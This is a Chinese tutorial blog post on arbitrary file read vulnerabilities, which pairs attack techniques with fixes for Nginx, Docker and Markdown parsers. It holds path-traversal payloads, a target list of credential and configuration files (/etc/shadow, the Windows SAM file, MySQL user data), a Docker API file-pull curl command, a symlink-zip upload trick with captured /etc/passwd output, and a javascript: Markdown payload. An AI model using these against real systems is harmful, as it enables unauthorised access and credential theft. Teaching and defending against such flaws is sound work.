首页 > 其他分享 >任意文件读取漏洞

任意文件读取漏洞

时间:2023-04-08 21:44:39浏览次数:34  
标签:文件 读取 漏洞 攻击者 php 任意

任意文件读取漏洞

漏洞概念及成因

任意文件读取漏洞(Arbitrary File Read Vulnerability)是指攻击者可以通过web应用程序读取任意文件而不受访问控制限制的漏洞。这种漏洞可能导致敏感信息泄露、系统崩溃等问题。

攻击者可以利用任意文件读取漏洞访问服务器上的任意文件,包括密码文件、配置文件等,从而获取系统权限和敏感信息。此外,攻击者还可以利用该漏洞读取应用程序中的敏感数据,如数据库凭据、API密钥等。

任意文件读取漏洞通常是由于未正确验证用户输入所导致的。攻击者可以通过构造特殊的请求参数来绕过应用程序的访问控制,从而访问任意文件。例如,攻击者可以通过修改URL路径或添加特殊字符来访问非预期的文件。

PHP语言相关漏洞

  • 通过网页页面信息进行挖掘

我们可以通过查看网页源代码查看是否有以下PHP中任意文件漏洞常见触发点进行挖掘,如果$filename没有经过校验或者校验不合格,用户就可控制变量读取任意文件,如/etc/passwd、/index.php、/config.ini等。

标准库函数:

fopen();//打开一个文件或 URL。
file();//把整个文件读入一个数组中。数组中的每个元素都是文件中相应的一行,包括换行符在内。
file_get_contents();//把整个文件读入一个字符串中。

文件读取函数等:

fread();//语法 string fread(int handle,int length);fread() 从文件指针 handle 读取最多 length 个字节。
fgets();//语法:string fgets( int handle [,int length] );fgets() 从 handle 指向的文件中读取一行并返回长度最多为 length-1 字节的字符串。

文件包含相关的函数等:

include();
require();
include_once();
require_once();

读文件的执行系统命令:

system();
exec();
shell_exec();
passthru();

PHP扩展也可以读取文件的函数:

php-curl扩展(文件内容作为HTTP body)涉及文件存取的库(如数据库相关扩展、图片相关扩展)、XML模块造成的XXE等。
  • 通过url连接进行挖掘
一般链接形式:
download.php?path=
download.php?file=
down.php?file=
data.php?file=
readlife.php?file=
read.php?filename=
或者包含参数:
&url=
&file_name=
&Filepath=
&Path=
&Data=

文件读取代码

<?php
   
   $filename = $_GET['file'];
   if(isset($filename)){
       readfile($filename);
   }
?>
<?php
$filename=”test.txt”;
Echo fiile_get_contents($filename);
?>

漏洞之所以会发生是因为攻击者可以将路径遍历序列放入文件夹内,从当前位置向上回溯,从而浏览整个浏览器的任何文件。

漏洞验证

Index.php?i=../../../../../../../../etc/passwd 
Index.php?i=../index.php
Index.php?i=file:///etc/passwd

参数i的参数值为PHP文件时:

  1. 显示源代码,则是文件查看漏洞 。
  2. 文件被解析,则是文件包含漏洞。
  3. 提示下载附件,则是文件下载漏洞。

敏感文件

发现漏洞后可以进行以下敏感操作

Linux:
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.conf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root密码
C:\Windows\php.ini //php配置信息
应用的日志文件
1、 /var/log/apache2/access.log
2、 /var/log/nginx/access.log

Wrapper 机制

PHP 提供的文件打开方式不仅仅是简单的文件路径,而是通过文件流的方式进行操作。这些文件流可以被看作是一种特殊的协议,即 Wrapper 协议(PHP中有很多功能不同但形式相似的协议,统称为Wrapper)。Wrapper 协议是一种在 PHP 中定义的标准协议,类似于 HTTP 协议,但用于访问不同的资源,例如文件、HTTP、FTP、SSH 等等。

例如,我们可以通过 php:// 协议访问 PHP 内置的资源,例如标准输入、标准输出和标准错误等等。我们也可以使用 http:// 协议来访问远程服务器上的文件,或使用 ftp:// 协议来访问 FTP 服务器上的文件。这些 Wrapper 协议为我们提供了不同的方式来访问不同的资源。

另外,PHP 还提供了一种接口 stream_wrapper_register,允许开发者自定义 Wrapper 协议。通过这种方式,我们可以自己实现一些 Wrapper 协议,用于访问自定义的资源。这种方式可以很好地扩展 PHP 的文件操作功能,让我们可以方便地访问不同的资源,同时也需要注意安全性问题,避免被攻击者利用这些 Wrapper 协议进行恶意操作。

Filter 机制

  • 在 PHP 中,另一个具有特色的机制是 Filter。Filter 的作用是对当前的 Wrapper 进行处理,例如将文件流中的内容全部变为大写。对于自定义的 Wrapper,开发者需要通过 stream_filter_register 进行注册 Filter。
  • PHP 内置的一些 Wrapper 会自带一些 Filter,例如 php:// 协议会有一些类型的 Filter。这些 Filter 特性给我们进行任意文件读取提供了很多便利。
  • 假设服务端的 include 函数的路径参数可控,正常情况下,它会将目标文件当作 PHP 文件去解析。如果解析的文件中存在 <?php 等 PHP 相关标签,那么标签中的内容会被作为 PHP 代码执行。这种情况下,攻击者可以通过注入恶意代码来实现任意代码执行,造成严重的安全问题。
  • 为了避免这种情况的发生,我们可以使用 Filter 进行文件处理,例如使用 Base64 相关的 Filter 将文件流编码成 Base64 的形式,这样读取的文件内容中就不会存在 PHP 标签。另外,如果服务端开启了远程文件包含选项 allow_url_include,那么攻击者就可以直接执行远程 PHP 代码,这种情况也需要特别注意防范。

中间件/服务器相关

Nginx 错误配置

Nginx是一款常用的Web服务器软件,如果配置不当,会导致任意文件读取漏洞。下面是一个Nginx错误配置造成的任意文件读取漏洞的示例说明:

配置一

假设服务器上存在一个文件路径为/var/www/html/index.php的文件,攻击者通过任意文件读取漏洞想要读取该文件的内容,而服务器的Nginx配置文件/etc/nginx/nginx.conf中包含以下错误配置:

location ~ \.(php)$ {
    include fastcgi_params;
    fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock;
    fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
}

这个配置的意思是将以.php结尾的请求交给PHP解释器处理,并将文件路径设置为/var/www/html加上请求的文件名。这里存在一个问题,就是如果攻击者发送以下请求:

http://example.com/index.php/../../../etc/passwd

由于Nginx的正则表达式匹配,$fastcgi_script_name会被设置为/index.php/../../../etc/passwd,加上/var/www/html后得到的文件路径为/var/www/html/index.php/../../../etc/passwd,最终将会读取到/etc/passwd文件的内容,造成任意文件读取漏洞。

要解决这个问题,可以在配置文件中添加以下内容,使用Nginx的try_files指令来防止任意文件读取漏洞:

location ~ \.php$ {
    try_files $uri =404;
    include fastcgi_params;
    fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}

这个配置使用try_files指令将文件路径与URI进行比较,如果文件路径中包含..则返回404错误,否则将文件路径设置为$document_root$fastcgi_script_name。这样即使攻击者发送了类似的请求也无法读取到其他文件的内容,从而解决了任意文件读取漏洞。

配置二

在 Nginx 的配置文件中,alias 指令可以用于为请求的路径指定一个本地文件路径。这个功能类似于 Apache 的 mod_alias 模块中的 Alias 指令。通过 alias 指令,可以让 Nginx 将某个 URL 映射到服务器文件系统中的一个文件或目录。例如,在下面的配置中,请求 /static/logo.png 将会被映射到 /home/myapp/static/logo.png 文件:

location /static {
    alias /home/myapp/static/;
}

这种配置可能会导致任意文件读取漏洞,因为攻击者可以通过构造特定的 URL 请求,来访问服务器上任意的文件。具体来说,攻击者可以在 URL 中使用特定的路径,使得 Nginx 映射到服务器上敏感文件的路径,从而实现任意文件读取。例如,如果攻击者请求 /static/../../../etc/passwd,则 Nginx 会将该请求映射到 /etc/passwd 文件,从而导致敏感文件泄露。

为了防止这种攻击,需要对 URL 进行严格的限制,使得请求的文件路径只能位于特定的目录下。在上面的例子中,可以通过添加以下配置,限制请求的文件路径只能位于 /home/myapp/static/ 目录下:

location /static {
    alias /home/myapp/static/;
    if ($request_filename !~ ^/home/myapp/static/) {
        return 404;
    }
}

在这个配置中,使用了 Nginx 的内置变量 $request_filename,该变量包含了请求文件的完整路径。使用 if 指令和正则表达式,判断请求文件路径是否以 /home/myapp/static/ 开头。如果请求的文件路径不符合要求,就返回 404 错误。这样可以有效地防止任意文件读取漏洞。

Docker-API

Docker是一个流行的容器化平台,允许用户在轻量级的虚拟环境中运行应用程序。Docker提供了一组RESTful API,允许开发者通过程序化方式管理Docker容器。

然而,这些API可能存在任意文件读取漏洞。具体来说,如果攻击者能够利用API中的某些函数(如“/containers/{id}/archive”),他们就可以读取容器中的任意文件,甚至可以在主机文件系统中读取文件。

例如,如果攻击者能够通过API获取到容器的ID,并知道容器中某个敏感文件的路径,他们可以使用以下curl命令来获取该文件的内容:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/[container_id]/archive -H "Content-Type: application/json" --data-binary '{"path":"[file_path]"}'

这条命令将向Docker API发送一个POST请求,请求下载容器中的文件。攻击者将文件路径设置为相对路径,即可读取任意文件。

为了防止此类攻击,应当在Docker API的使用上实行合理的权限控制,并限制API的访问范围。如果API服务不能禁止外部访问,则应将其放置在内部网络中,只开放给受信任的主机。此外,还应当使用Docker中的安全机制,如Docker的安全标签功能,来保护容器内的数据和文件系统。

软链接

之前学校战队招新赛遇到过的题目类型,给出一个上传页面可以上传压缩包,但是压缩包里其实可以藏一个软链接,这样的话可以把特定文件像个钩子一样勾出来,实现任意文件读取

例如在虚拟机终端中:

ln -s /etc/passwd passwd //创建一个指向/etc/passwd的软链接,文件名为passwd
zip --symlinks passwd.zip passwd //将这个文件压缩到zip里

拖出后上传并访问

image-20230407221124496

查看文件

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
mysql:x:105:109:MySQL Server,,,:/nonexistent:/bin/false
extract0r:x:1000:1000::/home/extract0r:

可以看到我们实现了对/etc/passwd的读取。

客户端相关

浏览器/Flash XSS

浏览器/Flash XSS(跨站脚本攻击)是一种常见的网络安全漏洞,攻击者可以利用这种漏洞来读取用户系统中的任意文件。

XSS攻击通常通过注入恶意脚本代码来实现,攻击者可以通过各种方式将这些恶意代码注入到网站的页面中,比如在表单中输入特定的代码,或者在URL中加入恶意参数。一旦用户访问了被注入了恶意代码的页面,这些代码就会被执行,从而导致各种安全问题,包括任意文件读取漏洞。

在利用XSS漏洞进行任意文件读取时,攻击者通常会构造特定的恶意脚本代码,利用浏览器或Flash的某些功能来读取用户系统中的任意文件,比如:

  • 利用XMLHttpRequest对象(XHR)发送HTTP请求,从而读取用户系统中的任意文件内容。
  • 利用Flash中的FileReference对象,从用户系统中选择一个文件,然后将文件内容读取到攻击者的服务器上。

为了防止浏览器/Flash XSS漏洞,开发者需要注意以下几点:

  • 过滤用户的输入,包括表单数据、URL参数等,避免注入恶意脚本。
  • 将所有输入的特殊字符进行转义处理,避免被解释为脚本代码。
  • 在Web应用程序中使用CSP(内容安全策略),以限制脚本执行的范围。
  • 避免使用Flash等插件,或者对插件进行严格限制。
  • 对文件读取操作进行严格的权限控制,避免攻击者利用漏洞读取敏感文件。

MarkDown语法解析器XSS

Markdown是一种轻量级的标记语言,用于编写易于阅读和编写的文档。由于其简单易用的特点,现在在各种场合广泛使用,如博客、文档撰写、社区讨论等。

但是,在MarkDown语法解析器中存在一些安全问题,其中包括任意文件读取漏洞。具体来说,当使用MarkDown解析器时,如果输入的内容包含恶意代码,就会导致任意文件读取漏洞。

一种常见的攻击方式是通过XSS攻击来实现任意文件读取漏洞。攻击者可以通过XSS攻击在MarkDown中嵌入恶意代码,使其在用户浏览器中执行。在执行的过程中,恶意代码可以利用MarkDown解析器的漏洞,来读取任意文件内容,包括敏感文件内容。

例如,攻击者可以在MarkDown中嵌入以下代码:

[link](javascript:fetch('http://example.com/read.php?file=/etc/passwd').then(response => response.text()).then(data => document.write(data)))

当用户点击该链接时,恶意JavaScript代码将向指定URL发送一个GET请求,并将返回的文件内容显示在用户的浏览器中。通过这种方式,攻击者可以轻松地读取服务器上的敏感文件内容。

为了防止这种攻击,可以采用以下措施:

  1. 在服务器端对输入进行过滤和验证,避免用户输入恶意内容;
  2. 在MarkDown解析器中添加白名单,只允许指定的HTML标签和属性;
  3. 对于用户输入的文件路径等敏感信息,使用严格的访问控制和权限管理,避免恶意读取文件内容;
  4. 更新MarkDown解析器的版本,及时修复已知的漏洞。

标签:文件,读取,漏洞,攻击者,php,任意
From: https://www.cnblogs.com/ikn0w1T/p/17299303.html

相关文章

  • pikachu靶场任意文件下载漏洞
    任意文件下载漏洞位置点击链接可以直接下载文件右键选择复制链接使用相对路径进行访问,可以下载任意文件../表示的就是一层目录但是也可以读取一些类型的文件内容如果关闭post提交则会继续下载文件......
  • Qt-FFmpeg开发-回调函数读取数据(8)
    音视频/FFmpeg#QtQt-FFmpeg开发-使libavformat解复用器通过自定义AVIOContext读取回调访问媒体内容目录音视频/FFmpeg#QtQt-FFmpeg开发-使libavformat解复用器通过自定义AVIOContext读取回调访问媒体内容1、概述2、实现效果3、主要代码4、完整源代码更多精彩内容......
  • 3、XmlBeanFactory 对xml文件读取
    全局目录.md引子1、容器最基本使用.md系列1-bean标签解析:2、XmlBeanFactory的类图介绍.md3、XmlBeanFactory对xml文件读取.md4、xml配置文件解析之【默认】命名空间【标签】的解析.md5、xml配置文件解析之【自定义】命名空间【标签】的解析.md系列2-bean获取:get......
  • BadBarcode 条形码漏洞
    BadBarcodeVulnerabilityBadBarcodeisadesignflawwidelyexistsin barcode reading devices,whichcouldbeexploitedtohackintohostcomputersthatconnecttoabarcodescanner.CurrentlyalmostallthebarcodescannersaredesignedtoworkinKeyb......
  • Modbus功能码的学习与实验 01 读取线圈状态
    01读取线圈状态    查询帧  应答帧 ......
  • 利用ExcelJS读取Excel文件
    参考文档https://blog.csdn.net/qq_41374651/article/details/115663014https://blog.csdn.net/qiuliaiali123/article/details/104392662https://www.jianshu.com/p/fc96e22c4df1最终效果代码<template><divclass="test"><inputtype="......
  • 异步读取raw文件下大文件的内容
    AsyncTask,异步处理,主要用于将比较耗时的操作从主线程(UI线程)中分离出来处理,提高运行速度(流畅度)。本来是要学习AsyncTask的,当看到耗时操作时就考虑到了读取大文件操作,然后自己试着读取raw文件夹下面的文件。有两种方式读取,一种是按行读取,一种是按大小读取;主......
  • 迅达扶梯软件 FCOM4 5 6对迅达扶梯进行调试,监控,数据读取
    迅达扶梯软件FCOM4 5 6对迅达扶梯进行调试,监控,数据读取YID:3199667155554379......
  • (转)使用 Golang 创建和读取 Excel 文件
    原文:https://juejin.cn/post/7117578016858849293摘要本文提出一种使用Golang进行Excel文件创建和读取的方案。首先对问题进行分析,引出方案的基本架构;然后分章节描述了Excelize基础库的基本用法,以及Excel数据在Golang中的表示和解析方式,并进一步提出了应对大规模数......
  • 走进Java接口测试之读取配置文件
    前言但在大部分用例开发环境下,添加额外配置是无所避免的,比如自定义应用端口号、服务地址、数据库的配置等,都或多或少的需要一些外部的配置项等。在前文中我们有详细介绍在接口测试框架中如何基于SpringBoot快速搭建多环境配置,本文将在原有的基础上介绍集成如何快速读取配置文件的......